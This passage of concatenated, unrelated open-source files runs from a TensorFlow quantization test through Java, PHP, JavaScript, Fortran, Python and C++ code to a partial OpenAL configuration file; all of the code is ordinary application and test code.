layer_after_input.quantizer, quantizers.AllValuesQuantizer)
def testConcatTransform(self):
r"""Tests the Concat Transform.
Input
/ \
Dense Dense
\ /
Concat
One Dense layer has a pre-specified QuantizeConfig, whereas the other does
not. The Transform should ensure both the output FakeQuants are disabled,
and only a FakeQuant after Concat is present.
"""
dense_1 = keras.layers.Dense(3)
dense_2 = keras.layers.Dense(3)
concat = keras.layers.Concatenate()
inp = keras.layers.Input((2,))
x1 = dense_1(inp)
x2 = dense_2(inp)
x = concat([x1, x2])
model = keras.Model(inp, x)
layer_metadata = {
# dense_1 has an existing quantize_config.
dense_1.name: {
'quantize_config':
default_8bit_quantize_configs.Default8BitOutputQuantizeConfig()
}
}
_, updated_metadata = ModelTransformer(
model, [default_8bit_transforms.ConcatTransform()],
layer_metadata=layer_metadata).transform()
concat_quantize_config = updated_metadata.get(
concat.name).get('quantize_config')
# Concat should quantize the output.
self.assertIsInstance(
concat_quantize_config,
default_8bit_quantize_configs.Default8BitOutputQuantizeConfig)
self.assertNotEmpty(concat_quantize_config.get_output_quantizers(None))
dense_1_quantize_config = updated_metadata.get(
dense_1.name).get('quantize_config')
# The existing quantize_config should do nothing for outputs.
self.assertIsInstance(
dense_1_quantize_config,
default_8bit_quantize_configs.Default8BitOutputQuantizeConfig)
self.assertEmpty(dense_1_quantize_config.get_output_quantizers(None))
dense_2_quantize_config = updated_metadata.get(
dense_2.name).get('quantize_config')
# The quantize_config from registry should do nothing at output.
self.assertEqual('Default8BitQuantizeConfig',
dense_2_quantize_config.__class__.__name__)
self.assertEmpty(dense_2_quantize_config.get_output_quantizers(None))
def testConcatMultipleLevels(self):
r"""Tests case when concats applied to concats.
Input --------------.
/ \ | |
Dense Dense | |
\ / | |
Concat Dense Dense
\ / |
Concat |
\ /
Concat
The last Concat layer should be quantized but the rest
of the outputs should just feed into it.
"""
inp = keras.layers.Input((3,))
x1 = keras.layers.Dense(3)(inp)
x2 = keras.layers.Dense(3)(inp)
x3 = keras.layers.Dense(3)(inp)
x4 = keras.layers.Dense(3)(inp)
c1 = keras.layers.Concatenate()([x1, x2])
c2 = keras.layers.Concatenate()([c1, x3])
c3 = keras.layers.Concatenate()([c2, x4])
model = keras.Model(inp, c3)
model.summary()
_, layer_metadata = ModelTransformer(
model,
[default_8bit_transforms.ConcatTransform()]).transform()
for layer in model.layers[1:-1]:
quantize_config = layer_metadata[layer.name].get('quantize_config')
self.assertEmpty(quantize_config.get_output_quantizers(None))
c3_layer = model.layers[-1]
quantize_config = layer_metadata[c3_layer.name].get('quantize_config')
self.assertIsInstance(
quantize_config,
default_8bit_quantize_configs.Default8BitOutputQuantizeConfig)
self.assertNotEmpty(quantize_config.get_output_quantizers(None))
if __name__ == '__main__':
tf.test.main()
| {
"pile_set_name": "Github"
} |
<?xml version="1.0"?>
<ZopeData>
<record id="1" aka="AAAAAAAAAAE=">
<pickle>
<global name="File" module="OFS.Image"/>
</pickle>
<pickle>
<dictionary>
<item>
<key> <string>_Cacheable__manager_id</string> </key>
<value> <string>http_cache</string> </value>
</item>
<item>
<key> <string>__name__</string> </key>
<value> <string>RenameDialog.js</string> </value>
</item>
<item>
<key> <string>content_type</string> </key>
<value> <string>text/javascript</string> </value>
</item>
<item>
<key> <string>precondition</string> </key>
<value> <string></string> </value>
</item>
<item>
<key> <string>title</string> </key>
<value> <string></string> </value>
</item>
</dictionary>
</pickle>
</record>
</ZopeData>
| {
"pile_set_name": "Github"
} |
{{#> page-header-brand}}
{{#> page-header-brand-toggle}}
{{#> button button--modifier="pf-m-plain" button--attribute=(concat 'id="' page--id '-nav-toggle" aria-label="Global navigation" aria-expanded="true" aria-controls="' page--id '-primary-nav"')}}
<i class="fas fa-bars" aria-hidden="true"></i>
{{/button}}
{{/page-header-brand-toggle}}
{{#> page-header-brand-link page-header-brand-link--href="#"}}
{{#> brand brand--attribute='src="/assets/images/PF-Masthead-Logo.svg" alt="PatternFly logo"'}}{{/brand}}
{{/page-header-brand-link}}
{{/page-header-brand}}
{{#> page-template-header-tools-elements}}
{{/page-template-header-tools-elements}}
| {
"pile_set_name": "Github"
} |
org.gradle.jvmargs=-Xmx1536M
android.enableR8=true
android.useAndroidX=true
android.enableJetifier=true
| {
"pile_set_name": "Github"
} |
/*
* JBoss, Home of Professional Open Source
* Copyright 2011, Red Hat, Inc. and individual contributors
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.mobicents.servlet.sip.testsuite.session;
import java.io.InputStream;
import java.net.URL;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.sip.SipProvider;
import static junit.framework.Assert.assertTrue;
import org.apache.log4j.Logger;
import org.mobicents.servlet.sip.NetworkPortAssigner;
import org.mobicents.servlet.sip.SipServletTestCase;
import org.mobicents.servlet.sip.startup.SipStandardContext;
import org.mobicents.servlet.sip.testsuite.ProtocolObjects;
import org.mobicents.servlet.sip.testsuite.TestSipListener;
public class SipAppSessionTerminationTest extends SipServletTestCase {
private String CLICK2DIAL_URL;
private String CLICK2DIAL_PARAMS;
private static transient Logger logger = Logger.getLogger(SipAppSessionTerminationTest.class);
TestSipListener receiver;
ProtocolObjects receiverProtocolObjects;
private static final String TRANSPORT = "udp";
private static final boolean AUTODIALOG = true;
private static final int TIMEOUT = 10000;
public SipAppSessionTerminationTest(String name) {
super(name);
autoDeployOnStartup = false;
}
@Override
public void setUp() throws Exception {
containerPort = NetworkPortAssigner.retrieveNextPort();
super.setUp();
CLICK2DIAL_URL = "http://" + System.getProperty("org.mobicents.testsuite.testhostaddr") + ":" + httpContainerPort + "/click2call/call";
receiverProtocolObjects = new ProtocolObjects(
"receiver", "gov.nist", TRANSPORT, AUTODIALOG, null, null, null);
int receiverPort = NetworkPortAssigner.retrieveNextPort();
receiver = new TestSipListener(receiverPort, containerPort, receiverProtocolObjects, true);
SipProvider receiverProvider = receiver.createProvider();
receiverProvider.addSipListener(receiver);
CLICK2DIAL_PARAMS = "?from=sip:sipAppTest@" + System.getProperty("org.mobicents.testsuite.testhostaddr") + ":5056&to=sip:to@" + System.getProperty("org.mobicents.testsuite.testhostaddr") + ":" + receiverPort;
receiverProtocolObjects.start();
Map<String, String> params = new HashMap();
params.put("servletContainerPort", String.valueOf(containerPort));
params.put("testPort", String.valueOf(receiverPort));
deployApplication(params);
}
@Override
public void tearDown() throws Exception {
receiverProtocolObjects.destroy();
logger.info("Test completed");
super.tearDown();
}
@Override
public void deployApplication() {
}
public void deployApplication(Map<String, String> params) {
SipStandardContext context = deployApplication(projectHome
+ "/sip-servlets-test-suite/applications/click-to-call-servlet/src/main/sipapp",
"click2call",
params,
null);
assertTrue(context.getAvailable());
}
@Override
protected String getDarConfigurationFile() {
return "file:///"
+ projectHome
+ "/sip-servlets-test-suite/testsuite/src/test/resources/"
+ "org/mobicents/servlet/sip/testsuite/click2call/click-to-call-dar.properties";
}
/**
* Test that the sip app session is not invalidated and destroyed when only
* the sip session is invalidated and not the http session
*
* @throws Exception
*/
public void testSipAppSessionTerminationHttpSessionStillAlive()
throws Exception {
logger.info("Trying to reach url : " + CLICK2DIAL_URL
+ CLICK2DIAL_PARAMS);
URL url = new URL(CLICK2DIAL_URL + CLICK2DIAL_PARAMS);
InputStream in = url.openConnection().getInputStream();
byte[] buffer = new byte[10000];
int len = in.read(buffer);
String httpResponse = "";
for (int q = 0; q < len; q++) {
httpResponse += (char) buffer[q];
}
logger.info("Received the follwing HTTP response: " + httpResponse);
Thread.sleep(TIMEOUT);
assertTrue(receiver.getOkToByeReceived());
Thread.sleep(TIMEOUT);
Iterator<String> allMessagesIterator = receiver.getAllMessagesContent().iterator();
logger.info("all messages received : ");
while (allMessagesIterator.hasNext()) {
String message = (String) allMessagesIterator.next();
logger.info(message);
}
assertFalse(receiver.getAllMessagesContent().contains("sipAppSessionDestroyed"));
}
/**
* Test if the sip app session is invalidated and destroyed when both the
* sip session and http session are invalidated
*
* @throws Exception
*/
public void testSipAppSessionTerminationHttpSessionInvalidated() throws Exception {
logger.info("Trying to reach url : " + CLICK2DIAL_URL
+ CLICK2DIAL_PARAMS + "&invalidateHttpSession=true");
URL url = new URL(CLICK2DIAL_URL + CLICK2DIAL_PARAMS + "&invalidateHttpSession=true");
InputStream in = url.openConnection().getInputStream();
byte[] buffer = new byte[10000];
int len = in.read(buffer);
String httpResponse = "";
for (int q = 0; q < len; q++) {
httpResponse += (char) buffer[q];
}
logger.info("Received the follwing HTTP response: " + httpResponse);
Thread.sleep(TIMEOUT);
assertTrue(receiver.getOkToByeReceived());
Thread.sleep(TIMEOUT);
Iterator<String> allMessagesIterator = receiver.getAllMessagesContent().iterator();
logger.info("all messages received : ");
while (allMessagesIterator.hasNext()) {
String message = (String) allMessagesIterator.next();
logger.info(message);
}
assertTrue(receiver.getAllMessagesContent().contains("sipAppSessionDestroyed"));
}
}
| {
"pile_set_name": "Github"
} |
<?php
namespace JMS\Serializer\Builder;
use Doctrine\Common\Annotations\Reader;
use Metadata\Driver\DriverInterface;
interface DriverFactoryInterface
{
/**
* @param array $metadataDirs
* @param Reader $annotationReader
*
* @return DriverInterface
*/
public function createDriver(array $metadataDirs, Reader $annotationReader);
} | {
"pile_set_name": "Github"
} |
$(document).ready(function() {
module("ice core");
test("InlineChangeEditor.constructor", function() {
// Setup for empty element.
el = jQuery('<div></div>');
changeEditor = getIce(el);
ok(el.find('p').length === 1, 'Paragraph was added to empty element.');
ok(el.find('p')[0] === changeEditor.env.selection.getRangeAt(0).startContainer
|| el.find('p')[0] === changeEditor.env.selection.getRangeAt(0).startContainer.parentNode,
'Range was initialized to contain the paragraph.');
// Setup for multi-user/paragraph initialization.
var el = jQuery('<div><p>test <span class="ins cts-1" time="987654321" userid="2" username="Hank" cid="1">content</span> in paragraph one.</p><p>test <span class="del cts-2" time="987654321" userid="3" username="Bob" cid="2">content</span> in paragraph two.</p></div>');
var changeEditor = getIce(el);
var range = changeEditor.env.selection.createRange();
ok(changeEditor.isTracking, 'Tracking is turned on.');
var c1 = changeEditor._changes[1], c2 = changeEditor._changes[2];
ok(c1.type === "insertType" && c1.userid === "2" && c1.username === "Hank" && c1.time === "987654321", "Insert loaded from element.");
ok(c2.type === "deleteType" && c2.userid === "3" && c2.username === "Bob" && c2.time === "987654321", "Delete loaded from element.");
ok(changeEditor.pluginsManager.plugins, 'Plugins are loaded.');
ok(changeEditor.currentUser.id === "4" && changeEditor.currentUser.name === "Ted", 'Current user is loaded.');
var us = changeEditor._userStyles;
ok(us['2'] === 'cts-1' && us['3'] === 'cts-2', 'User styles are properly assigned.');
});
test("InlineChangeEditor.placeholdDeletes", function() {
var el = jQuery('<div>\
<p>test <span class="del cts-1" cid="1">content</span> in paragraph one.</p>\
<p>test <em><span class="del cts-2" cid="2">content <span class="ins" cid="3">in</span></span> paragraph</em> two.</p>\
</div>');
var changeEditor = getIce(el);
changeEditor.placeholdDeletes();
ok(el.find('p:eq(0)').text() === 'test in paragraph one.'
&& el.find('p:eq(0) tempdel').attr('data-allocation') === '0', 'Delete in paragraph has a placeholder.');
ok(el.find('p:eq(1)').text() === 'test paragraph two.'
&& el.find('p:eq(1) tempdel').attr('data-allocation') === '1', 'Nested delete has a placeholder');
});
test("InlineChangeEditor.revertDeletePlaceholders", function() {
var html = '<p>test <span class="del cts-1" cid="1">content</span> in paragraph one.</p><p>test <em><span class="del cts-2" cid="2">content <span class="ins" cid="3">in</span></span> paragraph</em> two.</p>';
var el = jQuery('<div>' + html + '</div>');
var changeEditor = getIce(el);
changeEditor.placeholdDeletes();
changeEditor.revertDeletePlaceholders();
ok(el.html() === html, 'Delete placeholders were reverted properly.');
});
test("InlineChangeEditor.getCleanContent", function() {
// Make sure track changes tags are cleaned properly.
var el = jQuery('<div>\
<p>test <span class="ins cts-1" cid="1">content</span> in paragraph one.</p>\
<p>test <em><span class="del cts-2" cid="2">content <span class="ins" cid="3">in</span></span> paragraph</em> two.</p>\
</div>');
var changeEditor = getIce(el);
var content = changeEditor.getCleanContent();
ok(jQuery('<div>' + content + '</div>').find('.ins, .del').length === 0, 'Inserts and Deletes were stripped from content body');
ok(jQuery('<div>' + content + '</div>').text() === 'test content in paragraph one.test paragraph two.', 'Inserts and deletes were removed correctly');
});
test("InlineChangeEditor.acceptAll", function() {
var el = jQuery('<div>\
<p>test <span class="ins" cid="1">content<span class="ins" cid="4"> in</span></span> paragraph one.</p>\
<p>test <em><span class="del" cid="2">content <span class="ins" cid="3">in</span></span> paragraph</em> two.</p>\
</div>');
var changeEditor = getIce(el);
changeEditor.acceptAll();
ok(jQuery(el).find('.ins,.del').length === 0, 'Inserts and deletes were not found in the content.');
ok(jQuery(el).text() === 'test content in paragraph one.test paragraph two.', 'Deletes were removed and inserts were replaced with their inner content.');
});
test("InlineChangeEditor.rejectAll", function() {
var el = jQuery('<div>\
<p>test <span class="ins" cid="1">content<span class="ins" cid="4"> in</span></span> paragraph one.</p>\
<p>test <em><span class="del" cid="2">content <span class="ins" cid="3">in</span></span> paragraph</em> two.</p>\
</div>');
var changeEditor = getIce(el);
changeEditor.rejectAll();
ok(jQuery(el).find('.ins,.del').length === 0, 'Inserts and deletes were not found in the content.');
ok(jQuery(el).text() === 'test paragraph one.test content paragraph two.', 'Inserts were removed and deletes were replaced with their inner content.');
});
test("InlineChangeEditor.acceptChange", function() {
var el = jQuery('<div>\
<p>test <span class="ins" cid="1">content<span class="ins" cid="4"> in</span></span> paragraph one.</p>\
<p>test <em><span class="del" cid="2">content <span class="ins" cid="3">in</span></span><span class="del" cid="2">batch change cid</span> paragraph</em> two.</p>\
</div>');
var changeEditor = getIce(el);
var range = changeEditor.env.selection.createRange();
range.setStart(el.find('[cid=4]')[0], 1);
range.collapse(true);
changeEditor.env.selection.addRange(range);
changeEditor.acceptChange();
changeEditor.acceptChange(jQuery(el).find('[cid=2]:eq(0)'));
ok(jQuery(el).find('[cid=4], [cid=2]').length === 0, 'Tracking nodes were not found in content.');
ok(jQuery(el).text() === 'test content in paragraph one.test paragraph two.', 'Tracking nodes were accepted based on their respective tags.');
});
test("InlineChangeEditor.rejectChange", function() {
var el = jQuery('<div>\
<p>test <span class="ins" cid="1">content<span class="ins" cid="4"> in</span></span> paragraph one.</p>\
<p>test <em><span class="del" cid="2">content <span class="ins" cid="3">in</span></span> paragraph</em> two.</p>\
</div>');
var changeEditor = getIce(el);
var range = changeEditor.env.selection.createRange();
range.setStart(el.find('[cid=4]')[0], 1);
range.collapse(true);
changeEditor.env.selection.addRange(range);
changeEditor.rejectChange();
changeEditor.rejectChange(jQuery(el).find('[cid=2]'));
ok(jQuery(el).find('[cid=4], [cid=2]').length === 0, 'Tracking nodes were not found in content.');
ok(jQuery(el).text() === 'test content paragraph one.test content in paragraph two.', 'Tracking nodes were rejected based on their respective tags.');
});
});
| {
"pile_set_name": "Github"
} |
subroutine stencilf(A, B, N, iters)
integer N, iters
double precision A(N,N,N), B(N,N,N)
integer i,j,k,z
double precision c
c = 1 / 7.
do z=1,iters
do k=2,N-1
do j=2,N-1
do i=2,N-1
A(i,j,k) = c * (B(i,j,k) + B(i+1,j,k) + B(i-1,j,k)
. + B(i,j+1,k) + B(i,j-1,k) + B(i,j,k+1) + B(i,j,k-1))
enddo
enddo
enddo
do k=2,N-1
do j=2,N-1
do i=2,N-1
B(i,j,k) = c * (A(i,j,k) + A(i+1,j,k) + A(i-1,j,k)
. + A(i,j+1,k) + A(i,j-1,k) + A(i,j,k+1) + A(i,j,k-1))
enddo
enddo
enddo
enddo
return
end
| {
"pile_set_name": "Github"
} |
from __future__ import division, absolute_import, print_function
import sys
from numpy.distutils.fcompiler import FCompiler
compilers = ['NAGFCompiler']
class NAGFCompiler(FCompiler):
compiler_type = 'nag'
description = 'NAGWare Fortran 95 Compiler'
version_pattern = r'NAGWare Fortran 95 compiler Release (?P<version>[^\s]*)'
executables = {
'version_cmd' : ["<F90>", "-V"],
'compiler_f77' : ["f95", "-fixed"],
'compiler_fix' : ["f95", "-fixed"],
'compiler_f90' : ["f95"],
'linker_so' : ["<F90>"],
'archiver' : ["ar", "-cr"],
'ranlib' : ["ranlib"]
}
def get_flags_linker_so(self):
if sys.platform=='darwin':
return ['-unsharedf95', '-Wl,-bundle,-flat_namespace,-undefined,suppress']
return ["-Wl,-shared"]
def get_flags_opt(self):
return ['-O4']
def get_flags_arch(self):
version = self.get_version()
if version and version < '5.1':
return ['-target=native']
else:
return ['']
def get_flags_debug(self):
return ['-g', '-gline', '-g90', '-nan', '-C']
if __name__ == '__main__':
from distutils import log
log.set_verbosity(2)
from numpy.distutils.fcompiler import new_fcompiler
compiler = new_fcompiler(compiler='nag')
compiler.customize()
print(compiler.get_version())
| {
"pile_set_name": "Github"
} |
# del name
x = 1
print(x)
del x
try:
print(x)
except NameError:
print("NameError")
try:
del x
except: # NameError:
# FIXME uPy returns KeyError for this
print("NameError")
class C:
def f():
pass
| {
"pile_set_name": "Github"
} |
/**
* Copyright (C) 2013-2014 EaseMob Technologies. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.fysl.app.ui;
import com.hyphenate.chat.EMClient;
import com.hyphenate.chat.EMGroup;
import com.hyphenate.chat.EMGroupInfo;
import com.fysl.app.R;
import com.hyphenate.exceptions.HyphenateException;
import android.app.ProgressDialog;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
public class GroupSimpleDetailActivity extends BaseActivity {
private Button btn_add_group;
private TextView tv_admin;
private TextView tv_name;
private TextView tv_introduction;
private EMGroup group;
private String groupid;
private ProgressBar progressBar;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.em_activity_group_simle_details);
tv_name = (TextView) findViewById(R.id.name);
tv_admin = (TextView) findViewById(R.id.tv_admin);
btn_add_group = (Button) findViewById(R.id.btn_add_to_group);
tv_introduction = (TextView) findViewById(R.id.tv_introduction);
progressBar = (ProgressBar) findViewById(R.id.loading);
EMGroupInfo groupInfo = (EMGroupInfo) getIntent().getSerializableExtra(
"groupinfo");
String groupname = null;
if (groupInfo != null) {
groupname = groupInfo.getGroupName();
groupid = groupInfo.getGroupId();
} else {
group = PublicGroupsSeachActivity.searchedGroup;
if (group == null)
return;
groupname = group.getGroupName();
groupid = group.getGroupId();
}
tv_name.setText(groupname);
if (group != null) {
showGroupDetail();
return;
}
new Thread(new Runnable() {
public void run() {
// 从服务器获取详情
try {
group = EMClient.getInstance().groupManager()
.getGroupFromServer(groupid);
runOnUiThread(new Runnable() {
public void run() {
showGroupDetail();
}
});
} catch (final HyphenateException e) {
e.printStackTrace();
final String st1 = getResources().getString(
R.string.Failed_to_get_group_chat_information);
runOnUiThread(new Runnable() {
public void run() {
progressBar.setVisibility(View.INVISIBLE);
Toast.makeText(GroupSimpleDetailActivity.this,
st1 + e.getMessage(), 1).show();
}
});
}
}
}).start();
}
// 加入群聊
public void addToGroup(View view) {
String st1 = getResources().getString(R.string.Is_sending_a_request);
final String st2 = getResources().getString(R.string.Request_to_join);
final String st3 = getResources().getString(
R.string.send_the_request_is);
final String st4 = getResources().getString(
R.string.Join_the_group_chat);
final String st5 = getResources().getString(
R.string.Failed_to_join_the_group_chat);
final ProgressDialog pd = new ProgressDialog(this);
// getResources().getString(R.string)
pd.setMessage(st1);
pd.setCanceledOnTouchOutside(false);
pd.show();
new Thread(new Runnable() {
public void run() {
try {
// 如果是membersOnly的群,需要申请加入,不能直接join
if (group.isMembersOnly()) {
EMClient.getInstance().groupManager()
.applyJoinToGroup(groupid, st2);
} else {
EMClient.getInstance().groupManager()
.joinGroup(groupid);
}
runOnUiThread(new Runnable() {
public void run() {
pd.dismiss();
if (group.isMembersOnly())
Toast.makeText(GroupSimpleDetailActivity.this,
st3, 0).show();
else
Toast.makeText(GroupSimpleDetailActivity.this,
st4, 0).show();
btn_add_group.setEnabled(false);
}
});
} catch (final HyphenateException e) {
e.printStackTrace();
runOnUiThread(new Runnable() {
public void run() {
pd.dismiss();
Toast.makeText(GroupSimpleDetailActivity.this,
st5 + e.getMessage(), 0).show();
}
});
}
}
}).start();
}
private void showGroupDetail() {
progressBar.setVisibility(View.INVISIBLE);
// 获取详情成功,并且自己不在群中,才让加入群聊按钮可点击
if (!group.getMembers().contains(
EMClient.getInstance().getCurrentUser()))
btn_add_group.setEnabled(true);
tv_name.setText(group.getGroupName());
tv_admin.setText(group.getOwner());
tv_introduction.setText(group.getDescription());
}
public void back(View view) {
finish();
}
}
| {
"pile_set_name": "Github"
} |
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/download/public/common/download_job_factory.h"
#include <memory>
#include "components/download/internal/common/download_job_impl.h"
#include "components/download/internal/common/parallel_download_job.h"
#include "components/download/internal/common/parallel_download_utils.h"
#include "components/download/internal/common/save_package_download_job.h"
#include "components/download/public/common/download_item.h"
#include "components/download/public/common/download_stats.h"
#include "components/download/public/common/download_url_loader_factory_getter.h"
namespace download {
namespace {
// Returns if the download can be parallelized.
bool IsParallelizableDownload(const DownloadCreateInfo& create_info,
DownloadItem* download_item) {
// To enable parallel download, following conditions need to be satisfied.
// 1. Feature |kParallelDownloading| enabled.
// 2. Strong validators response headers. i.e. ETag and Last-Modified.
// 3. Accept-Ranges or Content-Range header.
// 4. Content-Length header.
// 5. Content-Length is no less than the minimum slice size configuration, or
// persisted slices alreay exist.
// 6. HTTP/1.1 protocol, not QUIC nor HTTP/1.0.
// 7. HTTP or HTTPS scheme with GET method in the initial request.
// Etag and last modified are stored into DownloadCreateInfo in
// DownloadRequestCore only if the response header complies to the strong
// validator rule.
bool has_strong_validator =
!create_info.etag.empty() || !create_info.last_modified.empty();
bool has_content_length = create_info.total_bytes > 0;
bool satisfy_min_file_size =
!download_item->GetReceivedSlices().empty() ||
create_info.total_bytes >= GetMinSliceSizeConfig();
bool satisfy_connection_type = create_info.connection_info ==
net::HttpResponseInfo::CONNECTION_INFO_HTTP1_1;
bool http_get_method =
create_info.method == "GET" && create_info.url().SchemeIsHTTPOrHTTPS();
bool partial_response_success =
download_item->GetReceivedSlices().empty() || create_info.offset != 0;
bool is_parallelizable = has_strong_validator && create_info.accept_range &&
has_content_length && satisfy_min_file_size &&
satisfy_connection_type && http_get_method &&
partial_response_success;
if (!IsParallelDownloadEnabled())
return is_parallelizable;
RecordParallelDownloadCreationEvent(
is_parallelizable
? ParallelDownloadCreationEvent::STARTED_PARALLEL_DOWNLOAD
: ParallelDownloadCreationEvent::FELL_BACK_TO_NORMAL_DOWNLOAD);
if (!has_strong_validator) {
RecordParallelDownloadCreationEvent(
ParallelDownloadCreationEvent::FALLBACK_REASON_STRONG_VALIDATORS);
}
if (!create_info.accept_range) {
RecordParallelDownloadCreationEvent(
ParallelDownloadCreationEvent::FALLBACK_REASON_ACCEPT_RANGE_HEADER);
}
if (!has_content_length) {
RecordParallelDownloadCreationEvent(
ParallelDownloadCreationEvent::FALLBACK_REASON_CONTENT_LENGTH_HEADER);
}
if (!satisfy_min_file_size) {
RecordParallelDownloadCreationEvent(
ParallelDownloadCreationEvent::FALLBACK_REASON_FILE_SIZE);
}
if (!satisfy_connection_type) {
RecordParallelDownloadCreationEvent(
ParallelDownloadCreationEvent::FALLBACK_REASON_CONNECTION_TYPE);
}
if (!http_get_method) {
RecordParallelDownloadCreationEvent(
ParallelDownloadCreationEvent::FALLBACK_REASON_HTTP_METHOD);
}
return is_parallelizable;
}
} // namespace
// static
std::unique_ptr<DownloadJob> DownloadJobFactory::CreateJob(
DownloadItem* download_item,
std::unique_ptr<DownloadRequestHandleInterface> req_handle,
const DownloadCreateInfo& create_info,
bool is_save_package_download,
scoped_refptr<download::DownloadURLLoaderFactoryGetter>
url_loader_factory_getter,
net::URLRequestContextGetter* url_request_context_getter) {
if (is_save_package_download) {
return std::make_unique<SavePackageDownloadJob>(download_item,
std::move(req_handle));
}
bool is_parallelizable = IsParallelizableDownload(create_info, download_item);
// Build parallel download job.
if (IsParallelDownloadEnabled() && is_parallelizable) {
return std::make_unique<ParallelDownloadJob>(
download_item, std::move(req_handle), create_info,
std::move(url_loader_factory_getter), url_request_context_getter);
}
// An ordinary download job.
return std::make_unique<DownloadJobImpl>(download_item, std::move(req_handle),
is_parallelizable);
}
} // namespace download
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2017 Uber Technologies, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import React from 'react';
import moment from 'moment';
import PropTypes from 'prop-types';
import dimensions from 'react-dimensions';
import { XYPlot, XAxis, YAxis, MarkSeries, Hint } from 'react-vis';
import { compose, withState, withProps } from 'recompose';
import { FALLBACK_TRACE_NAME } from '../../../constants';
import { ONE_MILLISECOND, formatDuration } from '../../../utils/date';
import './react-vis.css';
import './ScatterPlot.css';
function ScatterPlotImpl(props) {
const { data, containerWidth, onValueClick, overValue, onValueOver, onValueOut } = props;
return (
<div className="TraceResultsScatterPlot">
<XYPlot
margin={{
left: 50,
}}
width={containerWidth}
height={200}
>
<XAxis
title="Time"
tickTotal={4}
tickFormat={t => moment(t / ONE_MILLISECOND).format('hh:mm:ss a')}
/>
<YAxis title="Duration" tickTotal={3} tickFormat={t => formatDuration(t)} />
<MarkSeries
sizeRange={[3, 10]}
opacity={0.5}
onValueClick={onValueClick}
onValueMouseOver={onValueOver}
onValueMouseOut={onValueOut}
data={data}
/>
{overValue && (
<Hint value={overValue}>
<h4 className="scatter-plot-hint">{overValue.name || FALLBACK_TRACE_NAME}</h4>
</Hint>
)}
</XYPlot>
</div>
);
}
const valueShape = PropTypes.shape({
x: PropTypes.number,
y: PropTypes.number,
traceID: PropTypes.string,
size: PropTypes.number,
name: PropTypes.string,
});
ScatterPlotImpl.propTypes = {
containerWidth: PropTypes.number,
data: PropTypes.arrayOf(valueShape).isRequired,
overValue: valueShape,
onValueClick: PropTypes.func.isRequired,
onValueOut: PropTypes.func.isRequired,
onValueOver: PropTypes.func.isRequired,
};
ScatterPlotImpl.defaultProps = {
containerWidth: null,
overValue: null,
};
const ScatterPlot = compose(
withState('overValue', 'setOverValue', null),
withProps(({ setOverValue }) => ({
onValueOver: value => setOverValue(value),
onValueOut: () => setOverValue(null),
}))
)(ScatterPlotImpl);
export { ScatterPlotImpl };
export default dimensions()(ScatterPlot);
| {
"pile_set_name": "Github"
} |
# OpenAL config file. Options that are not under a block or are under the
# [general] block are for general, non-backend-specific options. Blocks may
# appear multiple times, and duplicated options will take the last value
# specified.
# The system-wide settings can be put in /etc/openal/alsoft.conf and user-
# specific override settings in ~/.alsoftrc.
# For Windows, these settings should go into %AppData%\alsoft.ini
# The environment variable ALSOFT_CONF can be used to specify another config
# override
# Option and block names are case-insenstive. The supplied values are only
# hints and may not be honored (though generally it'll try to get as close as
# possible). Note: options that are left unset may default to app- or system-
# specified values. These are the current available settings:
## format:
# Sets the output format. Can be one of:
# AL_FORMAT_MONO8 (8-bit mono)
# AL_FORMAT_STEREO8 (8-bit stereo)
# AL_FORMAT_QUAD8 (8-bit 4-channel)
# AL_FORMAT_51CHN8 (8-bit 5.1 output)
# AL_FORMAT_61CHN8 (8-bit 6.1 output)
# AL_FORMAT_71CHN8 (8-bit 7.1 output)
# AL_FORMAT_MONO16 (16-bit mono)
# AL_FORMAT_STEREO16 (16-bit stereo)
# AL_FORMAT_QUAD16 (16-bit 4-channel)
# AL_FORMAT_51CHN16 (16-bit 5.1 output)
# AL_FORMAT_61CHN16 (16-bit 6.1 output)
# AL_FORMAT_71CHN16 (16-bit 7.1 output)
# AL_FORMAT_MONO32 (32-bit float mono)
# AL_FORMAT_STEREO32 (32-bit float stereo)
# AL_FORMAT_QUAD32 (32-bit float 4-channel)
# AL_FORMAT_51CHN32 (32-bit float 5.1 output)
# AL_FORMAT_61CHN32 (32-bit float 6.1 output)
# AL_FORMAT_71CHN32 (32-bit float 7.1 output)
#format = AL_FORMAT_STEREO16
## cf_level:
# Sets the crossfeed level for stereo output. Valid values are:
# 0 - No crossfeed
# 1 - Low crossfeed
# 2 - Middle crossfeed
# 3 - High crossfeed (virtual speakers are closer to itself)
# 4 - Low easy crossfeed
# 5 - Middle easy crossfeed
# 6 - High easy crossfeed
# Users of headphones may want to try various settings. Has no effect on non-
# stereo modes.
#cf_level = 0
## head_dampen:
# Sets the amount of dampening on sounds emanating from behind the listener.
# This is used to simulate the natural occlusion of the head, which is
# typically missing with mono and stereo output, and as such, only works on
